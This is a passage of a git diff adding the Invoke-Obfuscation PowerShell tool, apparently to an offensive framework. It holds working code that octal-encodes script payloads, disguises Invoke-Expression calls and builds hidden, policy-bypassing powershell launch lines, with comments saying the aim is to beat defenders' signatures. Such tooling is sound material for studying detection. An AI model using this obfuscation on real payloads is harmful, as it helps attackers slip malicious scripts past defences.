bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + # A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1 new file mode 100644 index 000000000..dce6b9738 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-EncodedOctalCommand.ps1 @@ -0,0 +1,384 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-EncodedOctalCommand +{ +<# +.SYNOPSIS + +Generates octal encoded payload for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-EncodedOctalCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedOctalCommand encodes an input PowerShell scriptblock or path as an octal payload. It randomly chooses between .Split/-Split/array syntax to store the encoded payload in the final output. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-EncodedOctalCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NonInteractive -NoProfil "( '127f162f151X164B145f55R110_157@163{164f40n47{110R145{154R154f157{40X127B157{162X154f144L41f47R40L55n106{157{162f145@147X162@157X165n156f144L103L157L154_157f162_40L107f162R145f145f156f73_40@127<162_151{164_145{55B110<157X163f164X40X47_117{142f146_165L163f143@141L164n151_157f156R40_122@157{143X153R163R41_47_40R55R106_157f162f145@147n162{157{165B156X144f103B157{154<157L162<40f107<162<145<145_156'.SPlIt( 'LX@fR_Bn{<' ) |% {( [Char] ([Convert]::ToInt16( ( [String]$_),8 ) )) }) -Join''| Invoke-Expression" + +C:\PS> Out-EncodedOctalCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + +IEX(-Join (( 127 ,162 ,151 ,164 , 145 , 55 ,110, 157, 163 , 164 , 40,47 , 110 , 145 , 154 ,154 ,157,40 , 127 ,157,162 , 154,144, 41 , 47 , 40 ,55 ,106 ,157, 162 , 145 , 147,162,157, 165,156 ,144, 103, 157 ,154, 157,162, 40,107 ,162 , 145 , 145 , 156,73 , 40,127 ,162, 151,164 ,145,55 , 110 , 157,163,164 , 40 ,47,117 ,142,146, 165 ,163 , 143 ,141, 164,151 , 157, 156,40,122 ,157, 143 , 153, 163,41, 47,40 ,55 ,106 , 157, 162, 145,147, 162 , 157,165, 156 ,144, 103 , 157,154,157 , 162,40, 107, 162,145, 145,156)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])})) + +.NOTES + +Inspiration for this encoding technique came from: https://blogs.technet.microsoft.com/heyscriptingguy/2011/09/09/convert-hexadecimal-to-ascii-using-powershell/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Encoding base values: 16=Hex, 8=Octal, 2=Binary + $EncodingBase = 8 + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Create list of random delimiters $RandomDelimiters. + # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. + $RandomDelimiters = @('_','-',',','{','}','~','!','@','%','&','<','>',';',':') + + # Add letters a-z with random case to $RandomDelimiters. + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') | ForEach-Object {$UpperLowerChar = $_; If(((Get-Random -Input @(1..2))-1 -eq 0)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $RandomDelimiters += $UpperLowerChar} + + # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. + $RandomDelimiters = (Get-Random -Input $RandomDelimiters -Count ($RandomDelimiters.Count/4)) + + # Convert $ScriptString to delimited Octal values in [Char] array separated by random delimiter from defined list $RandomDelimiters. + $DelimitedEncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$DelimitedEncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + (Get-Random -Input $RandomDelimiters))} + + # Remove trailing delimiter from $DelimitedEncodedArray. + $DelimitedEncodedArray = $DelimitedEncodedArray.SubString(0,$DelimitedEncodedArray.Length-1) + + # Create printable version of $RandomDelimiters in random order to be used by final command. + $RandomDelimitersToPrint = (Get-Random -Input $RandomDelimiters -Count $RandomDelimiters.Length) -Join '' + + # Generate random case versions for necessary operations. + $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%') + $StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ToInt16 = ([Char[]]'[Convert]::ToInt16(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. + $RandomDelimitersToPrintForDashSplit = '' + ForEach($RandomDelimiter in $RandomDelimiters) + { + # Random case 'split' string. + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + $RandomDelimitersToPrintForDashSplit += ('-' + $Split + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1))) + } + $RandomDelimitersToPrintForDashSplit = $RandomDelimitersToPrintForDashSplit.Trim() + + # Randomly select between various conversion syntax options. + $RandomStringSyntax = ([Char[]](Get-Random -Input @('[String]$_','$_.ToString()')) | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomConversionSyntax = @() + $RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ',' + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + $RandomConversionSyntax += $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]" + $RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax) + + # Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax. + $EncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$EncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)))} + + # Remove trailing comma from $EncodedArray. + $EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')') + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize case of $SetOfsVar and $SetOfsVarBack. + $SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $BaseScriptArray = @() + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'." + $Split + "(" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimitersToPrint + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'" + ' '*(Get-Random -Input @(0,1)) + $RandomDelimitersToPrintForDashSplit + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate random JOIN syntax for all above options. + $NewScriptArray = @() + $NewScriptArray += (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''" + $NewScriptArray += $Join + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + $NewScriptArray += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + ')' + $NewScriptArray += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + + # Randomly select one of the above commands. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + # A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + 